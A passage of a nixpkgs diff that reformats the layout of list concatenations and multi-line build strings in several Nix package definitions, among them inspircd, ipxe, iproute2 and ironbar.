+  ++ lib.optional stdenv.hostPlatform.isDarwin "--disable-servers";
 
   doCheck = true;
 
diff --git a/pkgs/by-name/in/influxdb-cxx/package.nix b/pkgs/by-name/in/influxdb-cxx/package.nix
index 3a209c90a909..073934c53830 100644
--- a/pkgs/by-name/in/influxdb-cxx/package.nix
+++ b/pkgs/by-name/in/influxdb-cxx/package.nix
@@ -26,15 +26,14 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [
-      boost
-      libcpr_1_10_5
-    ]
-    ++ lib.optionals finalAttrs.finalPackage.doCheck [
-      catch2_3
-      trompeloeil
-    ];
+  buildInputs = [
+    boost
+    libcpr_1_10_5
+  ]
+  ++ lib.optionals finalAttrs.finalPackage.doCheck [
+    catch2_3
+    trompeloeil
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "INFLUXCXX_TESTING" finalAttrs.finalPackage.doCheck)
diff --git a/pkgs/by-name/in/iniparser/package.nix b/pkgs/by-name/in/iniparser/package.nix
index 0477d9ac5cf0..0983803ca8a6 100644
--- a/pkgs/by-name/in/iniparser/package.nix
+++ b/pkgs/by-name/in/iniparser/package.nix
@@ -46,7 +46,8 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     doxygen
     validatePkgConfig
-  ] ++ lib.optionals finalAttrs.finalPackage.doCheck [ ruby ];
+  ]
+  ++ lib.optionals finalAttrs.finalPackage.doCheck [ ruby ];
 
   cmakeFlags = [ "-DBUILD_TESTING=${if finalAttrs.finalPackage.doCheck then "ON" else "OFF"}" ];
 
diff --git a/pkgs/by-name/in/inlyne/package.nix b/pkgs/by-name/in/inlyne/package.nix
index 98dbc260bc31..a43fb6181971 100644
--- a/pkgs/by-name/in/inlyne/package.nix
+++ b/pkgs/by-name/in/inlyne/package.nix
@@ -27,13 +27,12 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-jSUqpryUgOL0qo0gbbH4s24krrPsLOSNc6FQUEUeeUQ=";
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pkg-config
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     fontconfig
diff --git a/pkgs/by-name/in/innernet/package.nix b/pkgs/by-name/in/innernet/package.nix
index 52108501c237..8582b87077b2 100644
--- a/pkgs/by-name/in/innernet/package.nix
+++ b/pkgs/by-name/in/innernet/package.nix
@@ -29,25 +29,23 @@ rustPlatform.buildRustPackage rec {
     installShellFiles
   ];
 
-  buildInputs =
-    [
-      sqlite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    sqlite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
-  postInstall =
-    ''
-      installManPage doc/innernet-server.8.gz
-      installManPage doc/innernet.8.gz
-      installShellCompletion doc/innernet.completions.{bash,fish,zsh}
-      installShellCompletion doc/innernet-server.completions.{bash,fish,zsh}
-    ''
-    + (lib.optionalString stdenv.hostPlatform.isLinux ''
-      find . -regex '.*\.\(target\|service\)' | xargs install -Dt $out/lib/systemd/system
-      find $out/lib/systemd/system -type f | xargs sed -i "s|/usr/bin/innernet|$out/bin/innernet|"
-    '');
+  postInstall = ''
+    installManPage doc/innernet-server.8.gz
+    installManPage doc/innernet.8.gz
+    installShellCompletion doc/innernet.completions.{bash,fish,zsh}
+    installShellCompletion doc/innernet-server.completions.{bash,fish,zsh}
+  ''
+  + (lib.optionalString stdenv.hostPlatform.isLinux ''
+    find . -regex '.*\.\(target\|service\)' | xargs install -Dt $out/lib/systemd/system
+    find $out/lib/systemd/system -type f | xargs sed -i "s|/usr/bin/innernet|$out/bin/innernet|"
+  '');
 
   passthru.tests = {
     serverVersion = testers.testVersion {
diff --git a/pkgs/by-name/in/innoextract/package.nix b/pkgs/by-name/in/innoextract/package.nix
index 6e145f31300c..922d4d8d0e19 100644
--- a/pkgs/by-name/in/innoextract/package.nix
+++ b/pkgs/by-name/in/innoextract/package.nix
@@ -34,7 +34,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     xz
     boost
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   # Python is reported as missing during the build, however
   # including Python does not change the output.
diff --git a/pkgs/by-name/in/inspectrum/package.nix b/pkgs/by-name/in/inspectrum/package.nix
index 06647204ef6e..2e6a8cb81eea 100644
--- a/pkgs/by-name/in/inspectrum/package.nix
+++ b/pkgs/by-name/in/inspectrum/package.nix
@@ -26,16 +26,15 @@ gnuradioMinimal.pkgs.mkDerivation rec {
     qt5.wrapQtAppsHook
     pkg-config
   ];
-  buildInputs =
-    [
-      fftwFloat
-      liquid-dsp
-      qt5.qtbase
-    ]
-    ++ lib.optionals (gnuradioMinimal.hasFeature "gr-ctrlport") [
-      thrift
-      gnuradioMinimal.unwrapped.python.pkgs.thrift
-    ];
+  buildInputs = [
+    fftwFloat
+    liquid-dsp
+    qt5.qtbase
+  ]
+  ++ lib.optionals (gnuradioMinimal.hasFeature "gr-ctrlport") [
+    thrift
+    gnuradioMinimal.unwrapped.python.pkgs.thrift
+  ];
 
   meta = with lib; {
     description = "Tool for analysing captured signals from sdr receivers";
diff --git a/pkgs/by-name/in/inspircd/package.nix b/pkgs/by-name/in/inspircd/package.nix
index 6fc1890a63a1..caf666705e90 100644
--- a/pkgs/by-name/in/inspircd/package.nix
+++ b/pkgs/by-name/in/inspircd/package.nix
@@ -168,14 +168,13 @@ stdenv.mkDerivation rec {
     "out"
   ];
 
-  nativeBuildInputs =
-    [
-      perl
-      pkg-config
-    ]
-    ++ lib.optionals (lib.elem "pgsql" extraModules) [
-      libpq.pg_config
-    ];
+  nativeBuildInputs = [
+    perl
+    pkg-config
+  ]
+  ++ lib.optionals (lib.elem "pgsql" extraModules) [
+    libpq.pg_config
+  ];
   buildInputs = extraInputs;
 
   configurePhase = ''
@@ -219,29 +218,29 @@ stdenv.mkDerivation rec {
     nixos-test = nixosTests.inspircd;
   };
 
-  meta =
-    {
-      description = "Modular C++ IRC server";
-      license =
-        [ lib.licenses.gpl2Only ]
-        ++ lib.concatMap getLicenses extraInputs
-        ++ lib.optionals (anyMembers extraModules libcModules) (getLicenses stdenv.cc.libc)
-        # FIXME(sternenseemann): get license of used lib(std)c++ somehow
-        ++ lib.optional (anyMembers extraModules libcxxModules) "Unknown"
-        # Hack: Definitely prevent a hydra from building this package on
-        # a GPL 2 incompatibility even if it is not in a top-level attribute,
-        # but pulled in indirectly somehow.
-        ++ lib.optional gpl2Conflict lib.licenses.unfree;
-      maintainers = [ lib.maintainers.sternenseemann ];
-      # windows is theoretically possible, but requires extra work
-      # which I am not willing to do and can't test.
-      # https://github.com/inspircd/inspircd/blob/master/win/README.txt
-      platforms = lib.platforms.unix;
-      homepage = "https://www.inspircd.org/";
-    }
-    // lib.optionalAttrs gpl2Conflict {
-      # make sure we never distribute a GPLv2-violating module
-      # in binary form. They can be built locally of course.
-      hydraPlatforms = [ ];
-    };
+  meta = {
+    description = "Modular C++ IRC server";
+    license = [
+      lib.licenses.gpl2Only
+    ]
+    ++ lib.concatMap getLicenses extraInputs
+    ++ lib.optionals (anyMembers extraModules libcModules) (getLicenses stdenv.cc.libc)
+    # FIXME(sternenseemann): get license of used lib(std)c++ somehow
+    ++ lib.optional (anyMembers extraModules libcxxModules) "Unknown"
+    # Hack: Definitely prevent a hydra from building this package on
+    # a GPL 2 incompatibility even if it is not in a top-level attribute,
+    # but pulled in indirectly somehow.
+    ++ lib.optional gpl2Conflict lib.licenses.unfree;
+    maintainers = [ lib.maintainers.sternenseemann ];
+    # windows is theoretically possible, but requires extra work
+    # which I am not willing to do and can't test.
+    # https://github.com/inspircd/inspircd/blob/master/win/README.txt
+    platforms = lib.platforms.unix;
+    homepage = "https://www.inspircd.org/";
+  }
+  // lib.optionalAttrs gpl2Conflict {
+    # make sure we never distribute a GPLv2-violating module
+    # in binary form. They can be built locally of course.
+    hydraPlatforms = [ ];
+  };
 }
diff --git a/pkgs/by-name/in/insync/package.nix b/pkgs/by-name/in/insync/package.nix
index 07c9f1f745ae..1cdc8816d1ea 100644
--- a/pkgs/by-name/in/insync/package.nix
+++ b/pkgs/by-name/in/insync/package.nix
@@ -47,7 +47,8 @@ let
       libgcrypt
       libthai
       xz
-    ] ++ (with libsForQt5; [ qt5.qtvirtualkeyboard ]);
+    ]
+    ++ (with libsForQt5; [ qt5.qtvirtualkeyboard ]);
 
     installPhase = ''
       runHook preInstall
diff --git a/pkgs/by-name/in/intel-media-driver/package.nix b/pkgs/by-name/in/intel-media-driver/package.nix
index dea1d295f683..104b760c59d6 100644
--- a/pkgs/by-name/in/intel-media-driver/package.nix
+++ b/pkgs/by-name/in/intel-media-driver/package.nix
@@ -61,7 +61,8 @@ stdenv.mkDerivation rec {
     libpciaccess
     intel-gmmlib
     libdrm
-  ] ++ lib.optional enableX11 libX11;
+  ]
+  ++ lib.optional enableX11 libX11;
 
   postFixup = lib.optionalString enableX11 ''
     patchelf --set-rpath "$(patchelf --print-rpath $out/lib/dri/iHD_drv_video.so):${lib.makeLibraryPath [ libX11 ]}" \
diff --git a/pkgs/by-name/in/intel-vaapi-driver/package.nix b/pkgs/by-name/in/intel-vaapi-driver/package.nix
index ec93f3efe588..b63f84cae016 100644
--- a/pkgs/by-name/in/intel-vaapi-driver/package.nix
+++ b/pkgs/by-name/in/intel-vaapi-driver/package.nix
@@ -41,7 +41,8 @@ stdenv.mkDerivation {
   configureFlags = [
     (lib.enableFeature enableGui "x11")
     (lib.enableFeature enableGui "wayland")
-  ] ++ lib.optional enableHybridCodec "--enable-hybrid-codec";
+  ]
+  ++ lib.optional enableHybridCodec "--enable-hybrid-codec";
 
   nativeBuildInputs = [
     autoreconfHook
@@ -51,19 +52,18 @@ stdenv.mkDerivation {
     wayland-scanner
   ];
 
-  buildInputs =
-    [
-      intel-gpu-tools
-      libdrm
-      libva
-    ]
-    ++ lib.optionals enableGui [
-      libX11
-      libXext
-      libGL
-      wayland
-    ]
-    ++ lib.optional enableHybridCodec vaapi-intel-hybrid;
+  buildInputs = [
+    intel-gpu-tools
+    libdrm
+    libva
+  ]
+  ++ lib.optionals enableGui [
+    libX11
+    libXext
+    libGL
+    wayland
+  ]
+  ++ lib.optional enableHybridCodec vaapi-intel-hybrid;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/in/intltool/package.nix b/pkgs/by-name/in/intltool/package.nix
index e972dc7d5a1e..c138375e071d 100644
--- a/pkgs/by-name/in/intltool/package.nix
+++ b/pkgs/by-name/in/intltool/package.nix
@@ -33,12 +33,13 @@ stdenv.mkDerivation rec {
     perl
     XMLParser
   ];
-  propagatedBuildInputs =
-    [ gettext ]
-    ++ (with perlPackages; [
-      perl
-      XMLParser
-    ]);
+  propagatedBuildInputs = [
+    gettext
+  ]
+  ++ (with perlPackages; [
+    perl
+    XMLParser
+  ]);
 
   postInstall = lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
     for f in $out/bin/*; do
diff --git a/pkgs/by-name/in/inxi/package.nix b/pkgs/by-name/in/inxi/package.nix
index 8010260e3658..30d583709aa2 100644
--- a/pkgs/by-name/in/inxi/package.nix
+++ b/pkgs/by-name/in/inxi/package.nix
@@ -54,13 +54,12 @@ let
       xrandr
     ])
   );
-  programs =
-    [
-      ps
-      dnsutils
-    ] # Core programs
-    ++ recommendedSystemPrograms
-    ++ recommendedDisplayInformationPrograms;
+  programs = [
+    ps
+    dnsutils
+  ] # Core programs
+  ++ recommendedSystemPrograms
+  ++ recommendedDisplayInformationPrograms;
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "inxi";
diff --git a/pkgs/by-name/io/iosevka/package.nix b/pkgs/by-name/io/iosevka/package.nix
index 1f2e8a90d937..b531a7be9ada 100644
--- a/pkgs/by-name/io/iosevka/package.nix
+++ b/pkgs/by-name/io/iosevka/package.nix
@@ -67,15 +67,14 @@ buildNpmPackage rec {
 
   npmDepsHash = "sha256-5DcMV9N16pyQxRaK6RCoeghZqAvM5EY1jftceT/bP+o=";
 
-  nativeBuildInputs =
-    [
-      remarshal
-      ttfautohint-nox
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # libtool
-      cctools
-    ];
+  nativeBuildInputs = [
+    remarshal
+    ttfautohint-nox
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # libtool
+    cctools
+  ];
 
   buildPlan =
     if builtins.isAttrs privateBuildPlan then
@@ -84,11 +83,12 @@ buildNpmPackage rec {
       privateBuildPlan;
 
   inherit extraParameters;
-  passAsFile =
-    [ "extraParameters" ]
-    ++ lib.optionals (
-      !(builtins.isString privateBuildPlan && lib.hasPrefix builtins.storeDir privateBuildPlan)
-    ) [ "buildPlan" ];
+  passAsFile = [
+    "extraParameters"
+  ]
+  ++ lib.optionals (
+    !(builtins.isString privateBuildPlan && lib.hasPrefix builtins.storeDir privateBuildPlan)
+  ) [ "buildPlan" ];
 
   configurePhase = ''
     runHook preConfigure
diff --git a/pkgs/by-name/ip/ip2unix/package.nix b/pkgs/by-name/ip/ip2unix/package.nix
index c134eedcdeda..3ffc7068370d 100644
--- a/pkgs/by-name/ip/ip2unix/package.nix
+++ b/pkgs/by-name/ip/ip2unix/package.nix
@@ -51,7 +51,8 @@ stdenv.mkDerivation rec {
     python3Packages.pytest
     python3Packages.pytest-timeout
     systemd
-  ] ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
 
   buildInputs = [ yaml-cpp ];
 
diff --git a/pkgs/by-name/ip/ipopt/package.nix b/pkgs/by-name/ip/ipopt/package.nix
index b4715462bc82..13b083cb7eb8 100644
--- a/pkgs/by-name/ip/ipopt/package.nix
+++ b/pkgs/by-name/ip/ipopt/package.nix
@@ -52,17 +52,16 @@ stdenv.mkDerivation rec {
     pkg-config
     gfortran
   ];
-  buildInputs =
-    [
-      blas
-      lapack
-    ]
-    ++ lib.optionals enableAMPL [ libamplsolver ]
-    ++ lib.optionals enableMUMPS [
-      mumps
-      mpi
-    ]
-    ++ lib.optionals enableSPRAL [ spral ];
+  buildInputs = [
+    blas
+    lapack
+  ]
+  ++ lib.optionals enableAMPL [ libamplsolver ]
+  ++ lib.optionals enableMUMPS [
+    mumps
+    mpi
+  ]
+  ++ lib.optionals enableSPRAL [ spral ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ip/iproute2/package.nix b/pkgs/by-name/ip/iproute2/package.nix
index f2fa309289f8..ece4ce9cf619 100644
--- a/pkgs/by-name/ip/iproute2/package.nix
+++ b/pkgs/by-name/ip/iproute2/package.nix
@@ -52,21 +52,20 @@ stdenv.mkDerivation rec {
     "auto"
   ];
 
-  makeFlags =
-    [
-      "PREFIX=$(out)"
-      "SBINDIR=$(out)/sbin"
-      "DOCDIR=$(TMPDIR)/share/doc/${pname}" # Don't install docs
-      "HDRDIR=$(dev)/include/iproute2"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      "SHARED_LIBS=n"
-      # all build .so plugins:
-      "TC_CONFIG_NO_XT=y"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "HOSTCC=$(CC_FOR_BUILD)"
-    ];
+  makeFlags = [
+    "PREFIX=$(out)"
+    "SBINDIR=$(out)/sbin"
+    "DOCDIR=$(TMPDIR)/share/doc/${pname}" # Don't install docs
+    "HDRDIR=$(dev)/include/iproute2"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    "SHARED_LIBS=n"
+    # all build .so plugins:
+    "TC_CONFIG_NO_XT=y"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "HOSTCC=$(CC_FOR_BUILD)"
+  ];
 
   buildFlags = [
     "CONFDIR=/etc/iproute2"
@@ -82,17 +81,16 @@ stdenv.mkDerivation rec {
     flex
     pkg-config
   ];
-  buildInputs =
-    [
-      db
-      iptables
-      libmnl
-    ]
-    # needed to uploaded bpf programs
-    ++ lib.optionals (!stdenv.hostPlatform.isStatic) [
-      elfutils
-      libbpf
-    ];
+  buildInputs = [
+    db
+    iptables
+    libmnl
+  ]
+  # needed to uploaded bpf programs
+  ++ lib.optionals (!stdenv.hostPlatform.isStatic) [
+    elfutils
+    libbpf
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ip/iprover/package.nix b/pkgs/by-name/ip/iprover/package.nix
index 8ea0e36a7588..ac87093a06ae 100644
--- a/pkgs/by-name/ip/iprover/package.nix
+++ b/pkgs/by-name/ip/iprover/package.nix
@@ -25,23 +25,23 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [ eprover ]
-    ++ (with ocamlPackages; [
-      ocaml
-      findlib
-    ]);
-  buildInputs =
-    [
-      zlib
-      ocamlPackages.z3
-      z3
-    ]
-    ++ (with ocamlPackages; [
-      ocamlgraph
-      yojson
-      zarith
-    ]);
+  nativeBuildInputs = [
+    eprover
+  ]
+  ++ (with ocamlPackages; [
+    ocaml
+    findlib
+  ]);
+  buildInputs = [
+    zlib
+    ocamlPackages.z3
+    z3
+  ]
+  ++ (with ocamlPackages; [
+    ocamlgraph
+    yojson
+    zarith
+  ]);
 
   preConfigure = "patchShebangs .";
 
diff --git a/pkgs/by-name/ip/ipv6calc/package.nix b/pkgs/by-name/ip/ipv6calc/package.nix
index 5c8a4cb73be0..ebb0ebaa4c9b 100644
--- a/pkgs/by-name/ip/ipv6calc/package.nix
+++ b/pkgs/by-name/ip/ipv6calc/package.nix
@@ -37,25 +37,24 @@ stdenv.mkDerivation rec {
     done
   '';
 
-  configureFlags =
-    [
-      "--prefix=${placeholder "out"}"
-      "--libdir=${placeholder "out"}/lib"
-      "--datadir=${placeholder "out"}/share"
-      "--disable-bundled-getopt"
-      "--disable-bundled-md5"
-      "--disable-dynamic-load"
-      "--enable-shared"
-    ]
-    ++ lib.optionals (libmaxminddb != null) [
-      "--enable-mmdb"
-    ]
-    ++ lib.optionals (geolite-legacy != null) [
-      "--with-geoip-db=${geolite-legacy}/share/GeoIP"
-    ]
-    ++ lib.optionals (ip2location-c != null) [
-      "--enable-ip2location"
-    ];
+  configureFlags = [
+    "--prefix=${placeholder "out"}"
+    "--libdir=${placeholder "out"}/lib"
+    "--datadir=${placeholder "out"}/share"
+    "--disable-bundled-getopt"
+    "--disable-bundled-md5"
+    "--disable-dynamic-load"
+    "--enable-shared"
+  ]
+  ++ lib.optionals (libmaxminddb != null) [
+    "--enable-mmdb"
+  ]
+  ++ lib.optionals (geolite-legacy != null) [
+    "--with-geoip-db=${geolite-legacy}/share/GeoIP"
+  ]
+  ++ lib.optionals (ip2location-c != null) [
+    "--enable-ip2location"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ip/ipxe/package.nix b/pkgs/by-name/ip/ipxe/package.nix
index 4bdb023bae93..30adea13a678 100644
--- a/pkgs/by-name/ip/ipxe/package.nix
+++ b/pkgs/by-name/ip/ipxe/package.nix
@@ -56,7 +56,8 @@ stdenv.mkDerivation (finalAttrs: {
     perl
     xorriso
     xz
-  ] ++ lib.optional stdenv.hostPlatform.isx86 syslinux;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isx86 syslinux;
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
@@ -84,51 +85,51 @@ stdenv.mkDerivation (finalAttrs: {
     "ECHO_E_BIN_ECHO=echo"
     "ECHO_E_BIN_ECHO_E=echo" # No /bin/echo here.
     "CROSS=${stdenv.cc.targetPrefix}"
-  ] ++ lib.optional (embedScript != null) "EMBED=${embedScript}";
+  ]
+  ++ lib.optional (embedScript != null) "EMBED=${embedScript}";
 
   enabledOptions = [
     "PING_CMD"
     "IMAGE_TRUST_CMD"
     "DOWNLOAD_PROTO_HTTP"
     "DOWNLOAD_PROTO_HTTPS"
-  ] ++ additionalOptions;
+  ]
+  ++ additionalOptions;
 
-  configurePhase =
-    ''
-      runHook preConfigure
-      for opt in ${lib.escapeShellArgs finalAttrs.enabledOptions}; do echo "#define $opt" >> src/config/general.h; done
-      substituteInPlace src/Makefile.housekeeping --replace '/bin/echo' echo
-    ''
-    + lib.optionalString stdenv.hostPlatform.isx86 ''
-      substituteInPlace src/util/genfsimg --replace /usr/lib/syslinux ${syslinux}/share/syslinux
-    ''
-    + ''
-      runHook postConfigure
-    '';
+  configurePhase = ''
+    runHook preConfigure
+    for opt in ${lib.escapeShellArgs finalAttrs.enabledOptions}; do echo "#define $opt" >> src/config/general.h; done
+    substituteInPlace src/Makefile.housekeeping --replace '/bin/echo' echo
+  ''
+  + lib.optionalString stdenv.hostPlatform.isx86 ''
+    substituteInPlace src/util/genfsimg --replace /usr/lib/syslinux ${syslinux}/share/syslinux
+  ''
+  + ''
+    runHook postConfigure
+  '';
 
   preBuild = "cd src";
 
   buildFlags = lib.attrNames targets;
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out
-      ${lib.concatStringsSep "\n" (
-        lib.mapAttrsToList (
-          from: to: if to == null then "cp -v ${from} $out" else "cp -v ${from} $out/${to}"
-        ) targets
-      )}
-    ''
-    + lib.optionalString stdenv.hostPlatform.isx86 ''
-      # Some PXE constellations especially with dnsmasq are looking for the file with .0 ending
-      # let's provide it as a symlink to be compatible in this case.
-      ln -s undionly.kpxe $out/undionly.kpxe.0
-    ''
-    + ''
-      runHook postInstall
-    '';
+    mkdir -p $out
+    ${lib.concatStringsSep "\n" (
+      lib.mapAttrsToList (
+        from: to: if to == null then "cp -v ${from} $out" else "cp -v ${from} $out/${to}"
+      ) targets
+    )}
+  ''
+  + lib.optionalString stdenv.hostPlatform.isx86 ''
+    # Some PXE constellations especially with dnsmasq are looking for the file with .0 ending
+    # let's provide it as a symlink to be compatible in this case.
+    ln -s undionly.kpxe $out/undionly.kpxe.0
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/iq/iqtree/package.nix b/pkgs/by-name/iq/iqtree/package.nix
index 67fb7b145025..4b71ea69c896 100644
--- a/pkgs/by-name/iq/iqtree/package.nix
+++ b/pkgs/by-name/iq/iqtree/package.nix
@@ -23,15 +23,14 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [
-      boost
-      eigen
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    boost
+    eigen
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    llvmPackages.openmp
+  ];
 
   meta = with lib; {
     homepage = "http://www.iqtree.org/";
diff --git a/pkgs/by-name/ir/iredis/package.nix b/pkgs/by-name/ir/iredis/package.nix
index ee9636a700e1..30dd65c788e8 100644
--- a/pkgs/by-name/ir/iredis/package.nix
+++ b/pkgs/by-name/ir/iredis/package.nix
@@ -45,20 +45,19 @@ python3.pkgs.buildPythonApplication rec {
     pytestCheckHook
   ];
 
-  pytestFlagsArray =
-    [
-      # Fails on sandbox
-      "--ignore=tests/unittests/test_client.py"
-      "--deselect=tests/unittests/test_render_functions.py::test_render_unixtime_config_raw"
-      "--deselect=tests/unittests/test_render_functions.py::test_render_time"
-      # Only execute unittests, because cli tests require a running Redis
-      "tests/unittests/"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Flaky tests
-      "--deselect=tests/unittests/test_entry.py::test_command_shell_options_higher_priority"
-      "--deselect=tests/unittests/test_utils.py::test_timer"
-    ];
+  pytestFlagsArray = [
+    # Fails on sandbox
+    "--ignore=tests/unittests/test_client.py"
+    "--deselect=tests/unittests/test_render_functions.py::test_render_unixtime_config_raw"
+    "--deselect=tests/unittests/test_render_functions.py::test_render_time"
+    # Only execute unittests, because cli tests require a running Redis
+    "tests/unittests/"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Flaky tests
+    "--deselect=tests/unittests/test_entry.py::test_command_shell_options_higher_priority"
+    "--deselect=tests/unittests/test_utils.py::test_timer"
+  ];
 
   pythonImportsCheck = [ "iredis" ];
 
diff --git a/pkgs/by-name/ir/ironbar/package.nix b/pkgs/by-name/ir/ironbar/package.nix
index 076c44fcb4f1..45002f90850a 100644
--- a/pkgs/by-name/ir/ironbar/package.nix
+++ b/pkgs/by-name/ir/ironbar/package.nix
@@ -42,23 +42,22 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-l+Y/ntuqaasDL0cEHSwscFxAs1jC0bm9oTU0J/K60AY=";
 
-  buildInputs =
-    [
-      gtk3
-      gdk-pixbuf
-      glib
-      gtk-layer-shell
-      glib-networking
-      shared-mime-info
-      adwaita-icon-theme
-      hicolor-icon-theme
-      gsettings-desktop-schemas
-      libxkbcommon
-    ]
-    ++ lib.optionals (hasFeature "http") [ openssl ]
-    ++ lib.optionals (hasFeature "volume") [ libpulseaudio ]
-    ++ lib.optionals (hasFeature "cairo") [ luajit ]
-    ++ lib.optionals (hasFeature "tray") [ libdbusmenu-gtk3 ];
+  buildInputs = [
+    gtk3
+    gdk-pixbuf
+    glib
+    gtk-layer-shell
+    glib-networking
+    shared-mime-info
+    adwaita-icon-theme
+    hicolor-icon-theme
+    gsettings-desktop-schemas
+    libxkbcommon
+  ]
+  ++ lib.optionals (hasFeature "http") [ openssl ]
+  ++ lib.optionals (hasFeature "volume") [ libpulseaudio ]
+  ++ lib.optionals (hasFeature "cairo") [ luajit ]
+  ++ lib.optionals (hasFeature "tray") [ libdbusmenu-gtk3 ];
 
   nativeBuildInputs = [
     pkg-config
@@ -72,21 +71,20 @@ rustPlatform.buildRustPackage rec {
   buildNoDefaultFeatures = features != [ ];
   buildFeatures = features;
 
-  gappsWrapperArgs =
-    ''
-      # Thumbnailers
-      --prefix XDG_DATA_DIRS : "${gdk-pixbuf}/share"
-      --prefix XDG_DATA_DIRS : "${librsvg}/share"
-      --prefix XDG_DATA_DIRS : "${webp-pixbuf-loader}/share"
-      --prefix XDG_DATA_DIRS : "${shared-mime-info}/share"
+  gappsWrapperArgs = ''
+    # Thumbnailers
+    --prefix XDG_DATA_DIRS : "${gdk-pixbuf}/share"
+    --prefix XDG_DATA_DIRS : "${librsvg}/share"
+    --prefix XDG_DATA_DIRS : "${webp-pixbuf-loader}/share"
+    --prefix XDG_DATA_DIRS : "${shared-mime-info}/share"
 
-      # gtk-launch
-      --suffix PATH : "${lib.makeBinPath [ gtk3 ]}"
-    ''
-    + lib.optionalString (hasFeature "cairo") ''
-      --prefix LUA_PATH : "./?.lua;${luajitPackages.lgi}/share/lua/5.1/?.lua;${luajitPackages.lgi}/share/lua/5.1/?/init.lua;${luajit}/share/lua/5.1/\?.lua;${luajit}/share/lua/5.1/?/init.lua"
-      --prefix LUA_CPATH : "./?.so;${luajitPackages.lgi}/lib/lua/5.1/?.so;${luajit}/lib/lua/5.1/?.so;${luajit}/lib/lua/5.1/loadall.so"
-    '';
+    # gtk-launch
+    --suffix PATH : "${lib.makeBinPath [ gtk3 ]}"
+  ''
+  + lib.optionalString (hasFeature "cairo") ''
+    --prefix LUA_PATH : "./?.lua;${luajitPackages.lgi}/share/lua/5.1/?.lua;${luajitPackages.lgi}/share/lua/5.1/?/init.lua;${luajit}/share/lua/5.1/\?.lua;${luajit}/share/lua/5.1/?/init.lua"
+    --prefix LUA_CPATH : "./?.so;${luajitPackages.lgi}/lib/lua/5.1/?.so;${luajit}/lib/lua/5.1/?.so;${luajit}/lib/lua/5.1/loadall.so"
+  '';
 
   preFixup = ''
     gappsWrapperArgs+=(
diff --git a/pkgs/by-name/ir/irqbalance/package.nix b/pkgs/by-name/ir/irqbalance/package.nix
index 3b62b7f45950..f58c3da8742d 100644
--- a/pkgs/by-name/ir/irqbalance/package.nix
+++ b/pkgs/by-name/ir/irqbalance/package.nix
@@ -26,15 +26,14 @@ stdenv.mkDerivation rec {
     autoreconfHook
     pkg-config
   ];
-  buildInputs =
-    [
-      glib
-      ncurses
-      libcap_ng
-    ]
-    ++ (lib.optionals enableSystemd [
-      systemdMinimal
-    ]);
+  buildInputs = [
+    glib
+    ncurses
+    libcap_ng
+  ]
+  ++ (lib.optionals enableSystemd [
+    systemdMinimal
+  ]);
 
   configureFlags = lib.optionals enableSystemd [
     "--with-systemd"
diff --git a/pkgs/by-name/ir/irrd/package.nix b/pkgs/by-name/ir/irrd/package.nix
index 0ec3999a9a92..3cd9eb3e7b1a 100644
--- a/pkgs/by-name/ir/irrd/package.nix
+++ b/pkgs/by-name/ir/irrd/package.nix
@@ -61,21 +61,20 @@ py.pkgs.buildPythonPackage rec {
     poetry-core
   ];
 
-  nativeCheckInputs =
-    [
-      git
-      valkey
-      redisTestHook
-      postgresql
-      postgresqlTestHook
-    ]
-    ++ (with py.pkgs; [
-      pytest-asyncio
-      pytest-freezegun
-      pytestCheckHook
-      smtpdfix
-      httpx
-    ]);
+  nativeCheckInputs = [
+    git
+    valkey
+    redisTestHook
+    postgresql
+    postgresqlTestHook
+  ]
+  ++ (with py.pkgs; [
+    pytest-asyncio
+    pytest-freezegun
